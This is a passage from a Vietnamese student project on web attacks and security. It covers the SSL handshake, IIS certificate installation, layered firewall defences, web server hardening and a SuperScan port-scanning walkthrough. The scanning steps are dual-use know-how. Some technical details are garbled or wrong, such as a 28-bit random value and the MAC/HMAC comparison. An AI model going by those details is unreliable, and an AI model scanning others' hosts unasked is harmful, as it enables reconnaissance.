thường được xác định là rỗng. Cả hai được xác lập trong suốt quá trình thực
thi ban đầu SSL Handshake Protocol. Sau cùng, MAC được thêm vào mỗi
bản ghi SSL. Nó cung cấp các dịch vụ xác thực nguồn gốc thông báo và tính
toàn vẹn dữ liệu. Tương tự như thuật toán mã hóa, thuật toán vốn được sử
dụng để tính và xác nhận MAC được xác định trong thông số mật mã của
trạng thái session hiện hành. Theo mặc định, SSL Record Protocol sử dụng
một cấu trúc MAC vốn tương tự nhưng vẫn khác với cấu trúc HMAC hơn. Có
ba điểm khác biệt chính giữa cấu trúc SSL MAC và cấu trúc HMAC:

Cấu trúc SSL MAC có một số chuỗi trong thông báo trước khi hash để ngăn
các hình thức tấn công xem lại riêng biệt.
Cấu trúc SSL MAC có chiều dài bản ghi.
Cấu trúc SSL MAC sử dụng các toán tử ghép, trong khi cấu trúc MAC sử
dụng moduloe cộng 2. Tất cả những điểm khác biệt này hiện hữu chủ yếu vì
cấu trúc SSL MAC được sử dụng trước cấu trúc HMAC trong hầu như tất cả
thông số kỹ thuật giao thức bảo mật Internet. Cấu trúc HMAC cũng được sử
dụng cho thông số kỹ thuật giao thức TLS gần đây hơn.
Như được minh họa trong hình 1.5, một số giao thức con SSL được xếp
lớp trên SSL Record Protocol. Mỗi giao thức con có thể tham chiếu đến các

34
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

loại thông báo cụ thể vốn được gửi bằng cách sử dụng SSL Record Protocol.
Thông số kỹ thuật SSL 3.0 xác định ba giao thức SSL sau đây:
- Alert Protocol;
- Handshake Protocol;
- ChangeCipherSpec Protocol;
Tóm lại, SSL Alert Protocol được sử dụng để chuyển các cảnh báo thông qua
SSL Record Protocol. Mỗi cảnh báo gồm 2 phần, một mức cảnh báo và một
mô tả cảnh báo.

SSL Handshake Protocol là giao thức con SSL chính được sử dụng để hỗ trợ
xác thực client và server và để trao đổi một khóa session. Do đó SSL
Handshake Protocol trình bày tổng quan và được thảo luận trong phần tiếp
theo.
Sau cùng, SSL ChangeCipherSpec Protocol được sử dụng để thay đổi giữa
một thông số mật mã này và một thông số mật mã khác. Mặc dù thông số mật
mã thường được thay đổi ở cuối một sự thiết lập quan hệ SSL, nhưng nó
cũng có thể được thay đổi vào bất kỳ thời điểm sau đó.
Ngoài những giao thức con SSL này, một SSL Application Data Protocol được
sử dụng để chuyển trực tiếp dữ liệu ứng dụng đến SSL Record Protocol.
SSL Handshake Protocol:
SSL Handshake Protocol là giao thức con SSL chính được xếp lớp trên
SSL Record Protocol. Kết quả, các thông báo thiết lập quan hệ SSL được
cung cấp cho lớp bản ghi SSL nơi chúng được bao bọc trong một hoặc nhiều
bản ghi SSL vốn được xử lý và được chuyển như được xác định bởi phương
pháp nén và thông số mật mã của session SSL hiện hành và các khóa mật
mã của nối kết SSL tương ứng. Mục đích của SSL Handshake Protocol là yêu
cầu một client và server thiết lập và duy trì thông tin trạng thái vốn được sử
dụng để bảo vệ các cuộc liên lạc. Cụ thể hơn, giao thức phải yêu cầu client và
server chấp thuận một phiên bản giao thức SSL chung, chọn phương thức
nén và thông số mật mã, tùy ý xác thực nhau và tạo một khóa mật chính mà

35
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

từ đó các khóa session khác nhau dành cho việc xác thực và mã hóa thông
báo có thể được dẫn xuất từ đó.
Tóm lại, việc thực thi SSL Handshake Protocol giữa một client C và một
server S có thể được tóm tắt như sau (các thông báo được đặt trong các dấu
ngoặc vuông thì tùy ý):
1: C -> S: CLIENTHELLO
2: S -> C: SERVERHELLO
[CERTIFICATE]
[SERVERKEYEXCHANGE]
[CERTIFICATEREQUEST]
SERVERHELLODONE
3: C -> [CERTIFICATE]
CLIENTKEYEXCHANGE
[CERTIFICATEVERIFY]
CHANGECIPHERSPEC
FINISHED
4: S -> C: CHANGECIPHERSPEC
FINISHED
Khi Client C muốn kết nối với server S, nó thiết lập một nối kết TCP với cổng
HTTPS (vốn không được đưa vào phần mô tả giao thức) và gởi một thông
báo CLIENTHELLO đến server ở bước 1 của sự thực thi SSL Handshake
Protocol. Client cũng có thể gởi một thông báo CLIENTHELLO nhằm phản hồi
lại một thông báo HELLOREQUEST hoặc chủ động thương lượng lại các
tham số bảo mật của một nối kết hiện có. Thông báo CLIENTHELLO bao gồm
các trường sau đây:
- Số của phiên bản SSL cao nhất được biểu hiện bởi client (thường là 3.0).
- Một cấu trúc ngẫu nhiên do client tạo ra gồm một tem thời gian 32 bit có
dạng UNIX chuẩn và một giá trị 28 byte được tạo ra bởi một bộ tạo số giả
ngẫu nhiên.
- Một định danh session mà client muốn sử dụng cho nối kết này.
- Một danh sách các bộ mật mã client hỗ trợ.

36
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Một danh sách các phương pháp nén mà client hỗ trợ.

Chú ý rằng trường session identity (định danh session) nên rỗng nếu session
SSL hiện không tồn tại hoặc nếu client muốn tạo các tham số bảo mật mới. Ở
một trong hai trường hợp, một trường session identity không rỗng là xác định
một session SSL hiện có giữa client và server (nghĩa là một session có các
tham số bảo mật mà client muốn sử dụng lại.). Định danh session có thể bắt
nguồn từ một nối kết trước đó, nối kết này hoặc một nối kết đang hoạt động.
Cũng chú ý rằng danh sách các bộ mật mã được hỗ trợ, được chuyển từ
client đến server trong thông báo CLIENTHELLO, chứa các tổ hợp thuật toán
mật mã được hỗ trợ bởi client theo thứ tự ưu tiêm. Mỗi bộ mật mã xác định
một thuật toán trao đổi khóa và một thông báo mật mã. Server sẽ chọn một bộ
mật mã hoặc nếu các lựa chọn có thể chấp nhận được không được trình bầy,
trả về một thông báo lỗi và đóng nối kết một cách phù hợp. Sau khi đã gởi
thông báo CLIENTHELLO, client đợi một thông báo SERVERHELLO. Bất kỳ
thông báo khác được trả về bởi server ngoại trừ một thông báo
HELLOREQUEST được xem như là một lỗi vào thời điểm này.
Ở bước 2, server xử lý thông báo CLIENTHELLO và đáp ứng bằng một thông
báo lỗi hoặc thông báo SERVERHELLO. Tương tự như thông báo
CLIENTHELLO, thông báo SERVERHELLO có các trường sau đây:
- Một số phiên bản server chứa phiên bản thấp hơn của phiên bản được đề
nghị bởi client trong thông báo CLIENTHELLO và được hỗ trợ cao nhất bởi
Server.
- Một cấu trúc ngẫu nhiên do server tạo ra cũng gồm một tem thời gian 32bit
có dạng UNIX chuẩn và một giá trị 28bit được tạo ra bởi một bộ tạo số ngẫu
nhiên.
- Một định danh session tương ứng với nối kết này.
- Một bộ mật mã được chọn từ bởi server từ danh sách các bộ mật mã được
hỗ trợ bởi client.

37
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Một phương pháp nén được chọn bởi server từ danh sách các thuật toán
nén được hỗ trợ bởi client.
Nếu định danh session trong thông báo CLIENTHELLO không rỗng, server
tìm trong cache session của nó nhằm tìm ra một mục tương hợp. Nếu mục
tương hợp được tìm thấy và server muốn thiết lập nối kết mới bằng cách sử
dụng trạng thái session tương ứng, server đáp ứng bằng cùng một giá trị như
được cung cấp bởi client. Chỉ địn này là một session được tiếp tục lại và xác
định rằng cả hai phía phải tiến hành trực tiếp với các thông báo
CHANGECIPHERSPEC và FINISHED được trình bày thêm bên dưới. Nếu
không, trường này chứa một giá trị khác nhận biết một session mới. Server
cũng có thể trả về một trường định danh session rỗng để biểu thị rằng session
sẽ không được lưu trữ và do đó không thể được tiếp tục sau đó. Cũng chú ý
rằng trong thông báo SERVERHELLO, server chọn một bộ mật mã và một
phương pháp nén từ các danh sách được cung cấp bởi client trong thông báo
CLIENTHELLO. Các thuật toán trao đổi khóa, xác thực, mã hóa và xác thực
thông báo được xác định bởi bộ mã được chọn bởi server và được làm lộ ra
trong thông báo SERVERHELLO. Các bộ mật mã vốn đã được xác định trong
giao thức SSL về cơ bản giống như bộ mật mã đã xác định cho TLS (như
được tóm tắt ở các bản 1.4 đến 1.7 trong những bài viết trước).
Ngoài thông báo SERVERHELLO, server cũng phải gởi các thông báo khác
đến client. Ví dụ, nếu server sử dụng sự xác thức dựa vào chứng nhân,
server gởi chứng nhận site của nó đến client trong một thông báo
CERTIFICATE tương ứng. Chứng nhận phải thích hợp cho thuật toán trao đổi
khóa của bộ mật mã được chọn và thường là một chứng nhận X.509v3. Cùng
loại thông báo sẽ được sử dụng sau đó cho sự đáp ứng của client đối với
thông báo sẽ được sử dụng sau đó cho sự đáp ứng của client đối với thông
báo CERTIFICATERequest của server. Trong trường hợp của các chứng
nhận X.509v3, một chứng nhận có thể thực sự tham chiếu đến toàn bộ một
chuỗi các chứng nhận, được sắp xếp theo thứ tự với chứng nhận của đối
tượng gởi trước tiên theo sau là bất kỳ chứng nhận CA tiến hành theo trình tự
hướng đến một CA gốc (vốn sẽ được chấp nhận bởi client).

38
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Tiếp theo, server có thể gởi một thông báo SERVERKEYEXCHANGE đến
client nếu nó không có chứng nhận, một chứng nhận vốn có thể được sử
dụng chỉ để xác nhận các chữ ký kỹ thuật số hoặc sử dụng thuật toán trao đổi
khóa dựa vào token FORITEZZA (KEA). Rõ ràng, thông báo này không được
yêu cầu nếu chứng nhận site gồm một khóa chung RSA vốn có thể được sử
dụng trong việc mã hóa. Ngoài ra, một server không nặc danh có thể tùy ý yêu
cầu một chứng nhận cá nhân để xác thực client. Do đó, nó gởi một thông báo
CERTIFICATERequest đến client. Thông báo này chứa một danh sách các
loại chứng nhận được yêu cầu, được phân loại theo thứ tự ưu tiên của server
cũng như một danh sách các tên được phân biệt cho các CA có thể chấp
nhận. Ở cuối bước 2, server gởi một thông báo SERVERHELLODone đến
client để chỉ định sự kết thúc SERVERHELLO và các thông báo đi kèm.
Sau khi nhận SERVERHELLO và các thông báo đi kèm, client xác nhận rằng
chứng nhận site server (nếu được cung cấp) là hợp lệ và kiểm tra nhằm bảo
đảm rằng các thông số bảo mật được cung cấp trong thông báo
SERVERHELLO có thể được chấp nhận. Nếu server yêu cầu sự xác thực
client, client gởi một thông báo CERTIFICATE vốn chứa một chứng nhận cá
nhân cho khóa chung của người dùng đến server ở bước 3. Tiếp theo, client
gởi một thông báo CLIENTKEYEXCHANGE có dạng phụ thuộc vào thuật toán
cho mỗi khóa được chọn bởi server:
- Nếu RSA được sử dụng cho việc xác thực server và trao đổi khóa, client tạo
một khóa mật tiền chính 48 byte, mã hóa nó bằng khóa chung được tìm thấy
trong chứng nhận site hoặc khóa RSA tạm thời từ thông báo
SERVERKEYEXCHANGE và gởi kết quả trở về server trong thông báo
CLIENTKEYEXCHANGE. Lần lượt server sử dụng khóa riêng tương ứng để
giải mã khóa mật chính.
- Nếu các token FORTEZZA được sử dụng để trao đổi khóa, client dẫn xuất
một khóa mã hóa token (TEK) bằng cách sử dụng KEA. Phép tình KEA cảu
client sử dụng khóa chung từ chứng nhận server cùng với một số tham số
riêng trong token của client. Client gởi các tham số chung cần thiết cho server
để cũng tạo TEK, sử dụng các tham sô riêng của nó. Nó tạo một khóa mật

39
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

chính, bao bọc nó bằng cách sử dụng TEK và gởi kết quả cùng với một số
vector khởi tạo đến server như là một phần của thông báo
CLIENTKEYEXCHANGE. Lần lượt, server có thể giải mã khóa mật chính một
cách thích hợp. Thuật toán trao đổi khóa này không được sử dụng rộng rãi.
Nếu sự xác thực client được yêu cầu, client cũng gởi một thông báo
CERTIFICATEVERIFY đến server. Thông báo này được sử dụng để cung cấp
sự xác thực rõ ràng định danh của người dùng dựa vào chứng nhận các
nhân. Nó chỉ được gởi theo sau một chứng chỉ client vốn có khả năng tạo chữ
ký (tất cả chứng nhận ngoại trừ các chứng nhận chứa các tham số
DiffeHallman cố định). Sau cùng, client hoàn tất bước 3 bằng cách gởi một
thông báo CHANGECIPHERSPEC và một thông báo FINISHED tương ứng
đến server. Thông báo FINISHED luôn được gởi ngay lập tức sau thông báo
CHANGECIPERSPEC để xác nhận rằng các tiến trình trao đổi khóa và xác
thực đã thành công. Thực tế, thông báo FINISHED là thông báo đầu tiên vốn
được bảo vệ bằng các thuật toán mới được thương lượng và các khóa
session. Nó chỉ có thể được tạo và được xác nhận nếu những khóa này được
cài đặt một cách phù hợp ở cả hai phía. Không đòi hỏi sự báo nhận thông báo
FINISHED; các phía có thể bắt đầu gởi dữ liệu được mã hóa ngay lập tức sau
khi đã gởi thông báo FINISHED. Việc thực thi SSL Handshake Protocol hoàn
tất bằng việc cũng yêu cầu server gởi một thông báo CHANGECIPHERSPEC
và một thông báo FINISHED tương ứng đến client ở bước 4.
Sau khi sự thiết lập SSL hoàn tất, một nối kết an toàn được thiết lập giữa
client và server. Nối kết này bây giờ có thể được sử dụng để gởi dữ liệu ứng
dụng vốn được bao bọc bởi SSL Record Protocol. Chính xác hơn, dữ liệu ứng
dụng có thể được phân đoạn, được nén, hoặc được mã hóa và đước xác
thực theo SSL Record Protocol cũng như thông tin trạng thái session và nối
kết vốn bây giờ được thiết lập (tùy thuộc việc thực thi SSL Handshake
Protocol).
SSL Handshake Protocol có thể được rutst ngắn nếu client và server quyết
định tiếp tục lại một session SSL được thiết lập trước đó (và vẫn được lưu
trữ) hoặc lặp lại một session SSL hiện có. Trong trường hợp này, chỉ ba dòng

40
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

thông báo và tổng cộng sáu thông báo được yêu cầu. Các dòng thông báo
tương ứng có thể được tóm tắt như sau:
1: C -> S: CLIENTHELLO
2: S -> C: SERVERHELLO
CHANECIPHERSPEC
FINISHED
3: S ->C: CHANGECIPHERSPEC
FINISHED
Ở bước 1, client gởi một thông báo CLIENTHELLO đến server vốn có một
định danh session cần được tiếp tục lại. Lần lượt server kiểm tra cache
session của nó để tìm một mục tương hợp. Nếu một mục tương hợp được tìm
thấy, server muốn tiếp tục lại nối kết bên dưới trạng thái session đã xác định,
nó trả về một thông báo SERVERHELLO với cùng một định danh session ở
bước 2. Vào thời điểm này, cả client lẫn server phải gởi các thông báo
CHANGECIPHERSPEC và FINISHED đến nhau ở bước 2 và 3. Một khi việc
tái thiết lập session hoàn tất, client và server có thể bắt đầu trao đổi dữ liệu
ứng dung.
Cơ chế mã hóa của SSL:
1. Client phát sinh 1 Session Key ngẫu nhiên khi truy cập đến Server
2. Client yêu cầu Server gởi Certificate (gồm Public Key của Server)
3. Client kiểm tra tính hợp lệ của Certificate
4. Nếu Certificate của Server hợp lệ, Client mã hóa Session Key bằng
Public Key của Server
5. Client gởi Session Key đã mã hóa cho Server
6. Server giải mã Session Key đã được mã hóa bằng Private Key
7. Các thông tin trao đổi giữa server và client sẽ được mã hóa và giải mã
bằng Session Key
Hiện nay, khi public một web site lên internet, để áp dụng cơ chế mã hóaSSL
chúng ta phải thuê SSL Certificate cho Web Server từ các tổ chức cung cấp
Digital Certificate như: Verisign, CyberTrust, EnTrust .
Chuẩn bị

- Máy Windows Server 2003

41
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Cài đặt dịch vụ Internet Information Services (IIS)


- Hosting Web Site với nội dung bất kỳ, truy cập với địa
chỉ http://www.MSOpenLab.com

1.Tạo Request Certificate:


- Logon Administrator, mở Internet Information Services (IIS) Manager, bung
Web Site, chuột phải Default Web Site, chọn Properties
- Hộp thoại Default Web Site Properties, qua tab Directory Security, chọn
Server Certificate .

Hộp thoại Welcome to the Web Server Certificate Wizard, chọn Next

42
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Server Certificate, chọn Create anew certificate, chọn Next

Trong hộp thoại Delayed or Immediate Request, chọn Prepare the request now,
but send it later, chọn Next .

43
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Name and Security Settings, chọn Next

Trong hộp thoại Organization Information, nhập thông tin như hình bên dưới,
chọn Next

44
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

-Trong hộp thoại Your Site’s Common Name, nhập www.msopenlab.com vào
ô Common name, chọn Next

Hộp thoại Geographical Information, nhập thông tin như hình bên dưới, chọn
Next

45
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Certificate Request File Name, để mặc định đường dẫn dẫn
C:\certreg.txt, chọn Next .

46
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Request File Summary, chọn Next, chọn Finish .

Trong hộp thoại Default Web Site Properties, chọn OK, tắt tất cả cửa sổ.

47
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

2. Xin SSL Certificate từ VeriSign.com


- Mở Windows Explorer, copy nội dụng của file C:\certreq.txt

Mở Internet Explorer, truy cập địa chỉ http://www.verisign.com, chọn Free SSL
Trial

48
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong cửa sổ Free SSL Trial Certificate, nhập đằy đủ thông tin (*: thông tin
bắt buộc), chọn Continue

49
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

50
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Cửa sổ Welcome, chọn Continue .

-Cửa sổ tiếp theo, nhập đầy đủ thông tin vào phần Technical Contact, chọn
Continue .

51
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong ô Select Server Platform, chọn Microsoft. Trong ô Select Version, chọn
IIS 6.0. Dán nội dung file certreq.txt vào ô Paste Certificate Signing R******
(CSR), optained from your server .

52
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong ô What do you plan to use this SSL Certificate for?, chọn Web Server,
chọn Continue

53
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong cửa sổ CRS Information, nhập MSOPENLAB vào ô Challenge Phrase


và Re-enter Challenge Phrase. Nhập câu hỏi bất kỳ vào ô Reminder Question,
chọn Continue

54
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong cửa sổ Order summary & acceptance, chọn Accept

55
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Kiểm tra: xin SSL Certificate thành công

56
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Cấu hình Trusted Root Certification Authority


- Đăng nhập vào hộp mail, kiểm tra nhận được e-mail
từ Support@verisign.com, chọn vảo link như trong hình bên dưới.

57
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong trang web của verisign, chọn VeriSign CA Certificates

58
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong trang web của verisign, chọn VeriSign CA Certificates

59
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong cửa sổ Root CA Certificate, chọn Select All, copy tất cả nội dung

60
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Dán nội dung vào Notepad và save lại với tên ca.cer

Mở Internet Explorer, vào Tools, chọn Internet Options, qua tab Content, chọn
Certificates

61
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Trong hộp thoại Certificates, chọn Import .

62
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Welcome to the Certificate Import Wizard, chọn Next .

63
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại File to Import, chọn Browse, trõ đường dẫn đến C:\ca.cer, chọn
Next .

Hộp thoại Certificate Store, chọn Automatically select the certificate store
based on the type of certificate, chọn Next, chọn Finish .

64
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Security Warning, chọn Yes .

Import SSL Certificate cho Web Server


- Đăng nhập vào hộp mail, mở e-mail của support@verisign.com, copy phần
BEGIN CERTIFICATE … như trong hình bên dưới .

65
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Dán nội dung vào Notepad, save lại với tên cert.txt .

Mở Internet Information Services (IIS) Manager, chuột phải Default Web Site
chọn Properties
- Trong cửa sổ Default Web Site Properties, qua tab Directory Security, chọn
Server Certificate .

66
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Welcome, chọn Next


- Hộp thoại Pending Certificate R******, chọn Process the pending r****** and
install the certificate, chọn Next .

67
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Hộp thoại Process a Pending Request, chọn Browse, trõ ñường dẩn ñến
C:\cert.txt .

Hộp thoại SSL Port, giữ mặc định port 443, chọn Next 2 lần, chọn Finish

Trong hộp thoại Default Web Site Properties, chọn View Certificate .

68
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Kiểm tra Certificate được cấp bởi Verisign .

69
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

. Kiểm tra kết quả

-Mở Internet Explorer, truy cập https://www.MSOpenLab.com, kiểm tra truy


cập thành công.

70
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

2. Các công cụ khảo sát và tim lỗi webserver

Vành đai bảo vệ chung cho toàn hệ thống mạng (lớp 1), gồm cả hệ
thống Web.
Để triển khai lớp bảo vệ đầu tiên này, các tổ chức, doanh nghiệp có thể trang
bị một thiết bị an ninh tích hợp (UTM) gồm nhiều tính năng bảo mật khác nhau
như:
• Tường lửa (Firewall) sẽ giúp ngăn chặn các tấn công tầng mạng, loại
bỏ các hành vi dờ quét các điểm yếu bảo mật của các hệ điều hành trên các
máy chủ .
• Thành phần ngăn chặn xâm nhập (IPS) giúp loại bỏ các tấn công khai
thác các điểm yếu của phần mềm ứng dụng web, phần mềm cơ sở dữ liệu, hệ
điều hành... Ngoài ra các thành phần mạng riêng ảo (VPN) và thành phần
quét virus mức gateway sẽ giúp hệ thống được an toàn hơn.

71
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Tường lửa chuyên dụng cho các ứng dụng Web .


Sau khi xây dựng vành đai bảo vệ chung, cần trang bị thêm một tường lửa
chuyên dụng cho các ứng dụng web (lớp 2). Tường lửa ứng dụng web này sẽ
kiểm tra và ngăn chặn các tấn công khai thác điểm yếu phát sinh trong quá
trình phát triển website. Tùy thuộc vào quy mô của tổ chức, doanh nghiệp
và/hoặc phụ thuộc vào giá trị của tài nguyên thông tin trên website mà có thể
có một mức đầu tư tương ứng cho tường lửa ứng dụng web này.

Có 3 lựa chọn:
-Đối với các website mà phần lớn là thông tin tĩnh (ít thay đổi), không
chứa các dữ liệu quan trọng cũng như không có các giao dịch mua bán: có
thể trang bị bổ sung module phần mềm tường lửa cho ứng dụng web (như
Web Intelligence của Check Point) vào thiết bị an ninh tích hợp UTM nói trên.
-Đối với các website có rất nhiều dữ liệu quan trọng mang tính chất
sống còn của tổ chức, doanh nghiệp, đồng thời thường xuyên diễn ra các giao
dịch trực tuyến, đòi hỏi phải có độ an toàn, sẵn sàng cao: nên trang bị một
thiết bị tường lửa chuyên dụng cho ứng dụng web (như giải pháp của
NetContinuum, một hãng chuyên cung cấp thiết bị tường lửa chuyên dụng cho
ứng dụng web).
--Đối với các website cung cấp các thông tin nội bộ hoặc cổng truy nhập
thông tin của một tổ chức, doanh nghiệp (Web Portal) cho phép nhân viên kết
nối vào từ bất cứ đâu và làm việc bất kể thời gian nào: ngoài việc trang bị lớp
bảo vệ chung bằng thiết bị an ninh tích hợp, các tổ chức, doanh nghiệp cũng
cần xây dựng một “cổng truy nhập” an toàn đến các tài nguyên thông tin (ví dụ
sử dụng thiết bị Connectra Web Security Gateway của Check Point).
-Đối với an toàn hệ thống nhìn chung, Firewall có thể bảo vệ hệ thống
máy tính chống lại những kẻ đột nhập qua khả năng ngăn chặn những phiên
làm việc từ xa (remote login).
-Ngăn chặn thông tin từ bên ngoài (Internet) vào trong mạng được bảo
vệ, trong khi cho phép người sử dụng hợp pháp được truy nhập tự do mạng
bên ngoài.
Firewall có thể phục vụ như một công cụ theo dõi các cuộc tấn công với ý đồ

72
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

xấu từ bên ngoài nhằm dự báo khả năng bị tấn công trước khi cuộc tấn công
xẩy ra.
Thiết bị an ninh tích hợp hoặc thiết bị chống xâm nhập mạng :
Sau khi đầu tư hai lớp bảo vệ trên, để tăng cường an toàn bảo mật thông tin,
tổ chức, doanh nghiệp có thể bổ sung thêm một thiết bị an ninh tích hợp hoặc
thiết bị chống xâm nhập mạng (IPS) chuyên dụng (lớp 3). Lớp này phân chia
mạng bên trong thành các phân vùng khác nhau và áp dụng các chính sách
riêng cho từng phân vùng mạng nhằm ngăn chặn các tấn công có nguồn gốc
từ bên trong mạng và loại bỏ các tấn công có thể vượt qua tường lửa vào
vùng các máy chủ quan trọng.

Một số phƣơng pháp bảo vệ máy chủ eb Server


Các máy chủ Web (Webserver) luôn là những đe dọa cho các hacker tìm kiếm
các thông tin giá trị hay gây rối vì một mục đích nào đó. Hiểm hoạ có thể là bất
cứ cái gì từ kiểu tấn công từ chối dịch vụ, quảng cáo các website có nội dung
không lành mạnh, xoá, thay đổi nội dung các file hay phần mềm chứa mã
nguy hiểm. Sau đây là một số phương pháp bảo vệ máy chủ Web Server :
-Đặt các Webserver trong vùng DMZ. Thiết lập firewall không cho các
kết nối tới Webserver trên toàn bộ các cổng, ngoại trừ cổng 80 (http), cổng
443 (https) và các cổng dịch vụ mà đang sử dụng.
- Loại bỏ toàn bộ các dịch vụ không cần thiết khỏi Webserver ngay cả
dịch vụ truyền tệp FTP (chỉ giữ lại nếu thật cần thiết). Mỗi dịch vụ không cần
thiết sẽ bị lợi dụng để tấn công hệ thống nếu không có chế độ bảo mật tốt.
- Không cho phép quản trị hệ thống từ xa, trừ khi nó được đăng nhập
theo kiểu mật khẩu chỉ sử dụng một lần hay đường kết nối đã được mã hoá.
- Giới hạn số người có quyền quản trị hay truy cập mức tối cao (root).
- Tạo các log file theo dõi hoạt động của người sử dụng và duy trì các
log file này trong môi trường được mã hoá.
- Hệ thống điều khiển log file thông thường được sử dụng cho bất kỳ
hoạt động nào. Cài đặt các bẫy macro để xem các tấn công vào máy chủ. Tạo
các macro chạy liên tục hoặc ít ra có thể kiểm tra tính nguyên vẹn của file
passwd và các file hệ thống khác. -Khi các macro kiểm tra một sự

73
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

thay đổi, chúng nên gửi một email tới nhà quản lý hệ thống.
-Loại bỏ toàn bộ các file không cần thiết khỏi thư mục chứa các file
kịch bản thi hành: /cgi-bin.
-Đăng ký và cập nhật định kỳ các bản sửa lỗi mới nhất về an toàn,
bảo mật từ các nhà cung cấp.
- Nếu hệ thống phải được quản trị từ xa, đòi hỏi một cơ chế bảo mật
như bảo mật shell, được sử dụng để tạo ra một kết nối bảo mật. Không sử
dụng telnet hay ftp với user là anynomous (đòi hỏi một username và password
cho việc truy cập) từ bất cứ site không được chứng thực nào. Tốt hơn, hãy
giới hạn số kết nối trong các hệ thống bảo mật và các hệ thống bên trong
mạng Intranet.
-Chạy webserver trong các thư mục đã được đặt quyền truy cập và
quyền sử dụng, vì vậy chỉ có người quản trị mới có thể truy cập hệ thống
thực
-Chạy server FTP theo chế độ anonymous (nếu hệ thống cần) trong
một thư mục được đặt quyền truy cập, khác với thư mục được sử dụng bởi
webserver.
-Thực hiện toàn bộ việc cập nhật từ mạng Intranet. Duy trì trang web
ban đầu trên mỗi server trên hệ thống mạng Intranet và tạo các thay đổi và
cập nhật ở đây; sau đó mới đẩy các cập nhật này lên website qua một kết nối
SSL. Nếu thực hiện điều này hàng giờ, có thể tránh khả năng server treo một
thời gian dài.
-Quét Webserver theo định kỳ với các công cụ như ISS hay nmap để
tìm kiếm lỗ hổng bảo mật.
-Trang bị phần mềm phát hiện truy nhập trái phép tới các máy chủ,
đặt phần mềm này cảnh báo các hành động nguy hiểm và bắt các session
của chúng lại để xem.. Thông tin này có thể giúp bạn lấy được thông tin về
cách thức phá hoại mạng, cũng như mức độ bảo mật trong hệ thống của bạn.
-Tuân thủ các quy tắc nhất định nêu trên sẽ giúp cho Webserver
được bảo vệ tốt hơn và người quản trị mạng không còn chịu nỗi đau đầu, lo

74
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

lắng về vấn đề an toàn máy chủ web và an toàn thông tin cho toàn bộ hệ
thống.

* .Super Scan :

Chúng ta sẽ tiến hành kiểm tra thông tin trên mạng bằng công cụ Super Scan.
Cụ thể hơn, chúng ta sẽ dùng Super Scan để quét 1 IP và xác định cá lỗ hổng
có thể xâm nhập vào hệ thống thông qua các port mà phần mềm xác định mở.

 Các bước tiến hành :


- Sau khi down Super Scan về máy, chúng ta chạy chương trình như
hình dưới :

-Trong chương trình có thẻ Scan .

- Hostname/IP: Điền vào IP muốn quét


-Hoặc bạn cũng có thể Scan cả 1 range IP:

- Start IP : IP bắt đầu


- End IP : IP kết thúc
Để bắt đầu quét ta click vào nút start ở góc trái bên dưới
Ngoài ra Super Scan còn có các options khác như:

75
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Host and Services Discovery: Dùng để thay đổi số port bạn muốn quét của
IP đó hoặc dựa trên danh sách Port list có sẵn.
- Scan Options: Thay đổi các tham số host và services.
